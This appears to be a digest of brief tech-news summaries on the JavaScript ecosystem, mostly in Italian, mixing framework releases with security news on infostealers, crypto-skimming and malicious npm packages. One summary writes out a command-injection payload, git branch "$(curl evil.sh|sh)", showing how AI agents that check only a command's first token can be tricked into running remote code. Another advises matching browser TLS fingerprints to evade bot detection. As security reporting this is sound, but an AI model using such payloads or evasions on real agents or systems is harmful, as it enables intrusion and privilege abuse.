L'ecosistema JavaScript e TypeScript.
Shopify built two internal AI agents—Pi for feature mapping and Tardis for live debugging—to automate the rewrite, allowing it to retire its six-year React Native stack while gaining a 2-second faster startup, a 109 MB smaller app, and roughly ten-fold fewer crashes.
Sostituendo l'ingombrante pattern `new Promise` con una singola chiamata `Promise.withResolvers()`, gli sviluppatori possono delegare le funzioni resolve/reject a qualsiasi parte del sistema, eliminando resolve dimenticate, avvisi di doppio reject e l'annidamento profondo — un vantaggio particolarmente prezioso negli ambienti serverless Lambda.
I server trasformano l'hash del ClientHello TLS grezzo in un fingerprint JA3/JA4; qualsiasi discrepanza con lo User-Agent dichiarato o con le impostazioni HTTP/2 segnala la richiesta come automatizzata. L'unica soluzione affidabile è far sì che ogni livello della richiesta presenti le stesse caratteristiche del browser.
I pesi in formato GGUF di Pocket-35B si caricano direttamente in llama.cpp o Ollama, consentendo a team senza budget per GPU di avviare un modello da 35 miliardi di parametri su un laptop standard, purché vengano soddisfatti i modesti requisiti di RAM.
Il casting delega la riproduzione al firmware della TV, quindi i token devono durare più della sessione, gli header CORS devono includere l'origin della TV e l'URL dello stream non può essere un blob. La guida mostra come passare a un URL del manifesto e convalidare la connessione.
Il nuovo lockfile predefinito di Bun v1.2 è un file bun.lock in formato testo semplice, che sostituisce l'opaco bun.lockb. Questa modifica consente ai revisori di visualizzare gli esatti cambiamenti di versione, eseguire controlli di policy nella CI e tracciare inserimenti malevoli tramite gli strumenti git standard.
Il payload di JSCeal, che opera esclusivamente in RAM, estrae cookie, password salvate e token OAuth dai browser Chromium, per poi riprodurre le sessioni e aggirare la richiesta di autenticazione a due fattori di Google, consentendo agli aggressori di sottrarre fondi da Binance, Bybit, Ledger e altri ancora.
I pacchetti, pubblicati tra le 04:54:59 e le 04:55:48 UTC del 7 settembre 2026, imitavano @coinbase/wallet-sdk con nomi come cb-wallet-http e utilizzavano una versione 0.0.1-security, evidenziando quanto velocemente il codice malevolo possa infiltrarsi nei progetti.
Cisco Talos ha scoperto ClickFix, uno schema di crypto-skimming che inganna gli utenti inducendoli a installare uno script Tampermonkey. Lo script riscrive gli indirizzi di deposito in tempo reale, drenando i fondi mentre la transazione appare legittima.
Testare 13 espressioni di intervallo su 19 numeri di versione ha rivelato solo 17 risultati corrispondenti, la maggior parte dei quali sono scarti. I simboli caret, tilde e dot-x vengono interpretati in modo diverso da ogni gestore, causando sorprendenti incompatibilità.
Il bug SSRF persiste in Ollama 0.33.2 perché il downloader dei modelli tensor utilizza un client HTTP separato che ignora la protezione dei redirect aggiunta per CVE-2026-5530, consentendo agli attaccanti di reindirizzare i download verso qualsiasi indirizzo raggiungibile.
Il CVE-2026-22708 dimostra che gli agenti che controllano solo il primo token di un comando possono essere ingannati da payload nascosti negli argomenti — ad esempio, git branch "$(curl evil.sh|sh)" — concedendo agli attaccanti gli stessi privilegi del bot di automazione.
Lo sconto del 45% si applica quando lo stesso system prompt e lo schema degli strumenti vengono riutilizzati in numerose iterazioni, rendendo Claude Fable 5.1 particolarmente interessante per revisori di codice autonomi, bot per il triage dei ticket e altre pipeline di agenti ripetitive.
WebFPGA utilizza l'API WebUSB per programmare un FPGA Lattice iCE40-UP5K tramite JavaScript, consentendo un'inferenza TinyML in meno di 10 ms con un consumo di appena poche decine di milliwatt e mantenendo tutti i dati sul dispositivo.
Le chiavi esposte permettono agli aggressori di creare addebiti, scaricare fatture e raccogliere dati personali, con il rischio di chargeback, sanzioni e danni alla reputazione del marchio. Le misure immediate includono il blocco dei dotfile, la rotazione di ogni chiave e lo spostamento dei segreti in un vault.
La nuova versione perfeziona l'impaginazione dei paragrafi per gli script complessi, introduce una modalità Bozza semplificata e migliora la conversione da ODF a DOCX/XLSX, mentre le patch di sicurezza e il sandboxing delle macro garantiscono la sicurezza dei documenti in locale.
Il motore, scritto in Rust, viene eseguito in un processo separato, disaccoppiando l'analisi dei tipi dal thread dell'interfaccia utente e introducendo una gestione della cache più intelligente che ricontrolla solo i file modificati, garantendo build incrementali più rapide e reattive.
La prossima Vapor Mode di Vue 3.6 compila i single-file component in chiamate DOM dirette, eliminando la fase di diff del virtual DOM. Nei benchmark di giochi che richiedono decine di ridisegni al secondo, la modifica riduce i tempi di rendering e le dimensioni dei bundle, sebbene le interfacce utente a bassa frequenza traggano pochi vantaggi.
Gli ingegneri di Anthropic hanno utilizzato 64 agenti Claude Fable 5 in parallelo per riscrivere il codice di Bun in Rust in 11 giorni, registrando un consumo di token di 165.000 $, ma il costo reale probabilmente sarà superiore una volta considerati i costi di calcolo post-merge e gli audit di sicurezza.
Con la rimozione degli header di richiesta limitati alla versione beta, le aziende possono finalmente superare gli ostacoli legali e di sicurezza. La nuova modalità batch-action per lo strumento di computer-use promette inoltre una latenza e un consumo di token ridotti, sebbene il risparmio debba essere verificato.
Il rilascio introduce anche il Partial Prerendering pronto per la produzione, capace di ridurre il Time to Interactive del 40-60%, un supporto TypeScript più integrato per le Server Actions e middleware basati su Rust, ma richiede Node 20+ e potrebbe causare problemi con i plugin Webpack esistenti.
La nuova beta ti consente di importare solo le funzionalità di griglia che utilizzi: puoi saltare completamente il codice di ordinamento, ridurre il download a circa 5 KB ed evitare il carico sul thread principale che in precedenza rallentava i punteggi INP.
Meteor 3.5 introduces a pluggable DDP transport that can be swapped to uWebSockets.js via the DDP_TRANSPORT=uws environment variable, delivering up to 1.6x higher throughput, 9 % lower CPU, 11 % less RAM and 26 % shorter GC pauses for RPC-heavy apps.
Padroneggiare il Caching Avanzato lato Server in Next.js. Scalare un'app Next.js richiede molto più che scegliere tra SSR e SSG. Man mano che i dati aumentano, avrai bisogno di un caching avanzato per ridu…
